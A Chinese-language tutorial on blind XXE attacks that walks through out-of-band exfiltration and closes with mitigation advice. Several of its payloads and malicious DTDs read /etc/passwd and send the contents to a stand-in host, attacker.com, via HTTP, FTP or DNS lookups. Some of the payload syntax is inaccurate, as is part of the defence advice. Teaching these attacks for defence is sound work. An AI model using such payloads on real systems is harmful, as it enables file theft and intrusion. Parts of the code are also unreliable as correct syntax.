XML外部实体注入(XXE)攻击中的盲注技术与带外(Out-of-Band,OOB)数据渗漏
知识点描述
XXE盲注是一种攻击形态,攻击者可以注入恶意XML外部实体,但应用程序的响应中不会直接回显敏感数据(如文件内容、目录列表)。与基于错误的XXE不同,盲注依赖于“带外”(OOB)技术,通过诱导服务器向攻击者控制的系统发起网络请求(如HTTP、FTP、SMB),从而将数据渗漏到外部。此技术常用于渗透内部网络、读取服务器端文件(如/etc/passwd)、执行服务器端请求伪造(SSRF)或扫描内网服务。
解题过程循序渐进讲解
步骤1:理解基础XXE漏洞原理
XML解析器在解析XML文档时,如果未禁用外部实体加载(例如DOCTYPE中定义的ENTITY),则会根据实体声明获取外部资源。例如:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
若应用程序将&xxe;的内容输出到响应中,则为回显型XXE。但许多应用不直接输出文件内容,仅解析XML而不显示结果,此时需利用盲注。
步骤2:盲注场景与攻击思路
在盲注场景中,攻击者无法直接看到文件内容,但可以通过两种OOB技术渗漏数据:
- 直接OOB渗漏:强制XML解析器向攻击者控制的服务器发起请求,并将数据作为请求的一部分发送(如URL参数)。
- 基于错误的OOB渗漏:当目标服务器阻止外部HTTP请求时,可利用XML解析器的错误消息,将数据通过DNS解析或错误详情外带。
步骤3:构造带外HTTP请求渗漏数据
攻击者可以搭建一个接收HTTP请求的服务器(如http://attacker.com),并构造恶意XML,将文件内容作为参数发送到该服务器。示例利用参数实体嵌套:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&exfil;</foo>
其中evil.dtd内容为:
<!ENTITY % exfil SYSTEM "http://attacker.com/leak?data=%file;">
当XML解析器加载evil.dtd时,会将%file;实体(即文件内容)作为URL参数发送到attacker.com。注意:由于URL长度限制,此方法适合渗漏小型文件。
步骤4:利用FTP或SMB协议绕过限制
若目标服务器位于内网且可访问外部FTP/SMB服务,攻击者可通过这些协议渗漏数据。例如,利用Java XML解析器特性,通过FTP将文件内容作为FTP命令参数发送:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "ftp://attacker.com/evil.dtd">
FTP服务器可记录包含文件内容的请求路径,实现数据外带。Windows环境下,SMB协议常用于捕获NTLM哈希或文件内容。
步骤5:基于DNS解析的OOB渗漏
当HTTP/FTP请求被防火墙阻止时,可利用DNS查询渗漏数据。因为DNS请求通常被允许。构造恶意DTD,将文件内容作为子域名部分发起DNS查询:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/dns.dtd">
%dtd;
dns.dtd内容:
<!ENTITY % exfil SYSTEM "http://%file;.attacker.com/">
XML解析器会尝试解析<文件内容>.attacker.com的域名,导致DNS查询发送到攻击者控制的DNS服务器,从而通过子域名记录获取数据。注意:需对文件内容进行编码(如Base64),避免无效域名字符。
步骤6:利用XML解析器错误消息
某些解析器(如PHP的libxml2)在加载外部实体失败时,可能在错误信息中包含部分数据。攻击者可构造引用不完整URL的实体,诱使解析器在错误中返回文件内容:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd">
%dtd;
在error.dtd中定义嵌套实体,使解析器尝试将文件内容作为协议的一部分(如http://<文件内容>),触发错误并外带数据。
步骤7:防御措施
- 禁用外部实体:在XML解析器中设置属性,如Java的
DocumentBuilderFactory设置FEATURE_SECURE_PROCESSING、XMLConstants.FEATURE_SECURE_PROCESSING,PHP的libxml_disable_entity_loader(true)。 - 使用白名单验证:对XML输入进行模式验证(XSD),拒绝包含
DOCTYPE或外部实体的文档。 - 输出编码:对XML输出中的特殊字符进行编码,防止实体展开。
- 网络隔离:限制服务器出站连接,仅允许访问必要的内部服务,阻止向外部恶意服务器发送请求。
- 更新库:使用最新版XML解析器,避免已知漏洞(如
billion laughs攻击)。
通过以上步骤,你可以理解XXE盲注如何通过OOB通道渗漏数据,并在实际开发中实施相应防护。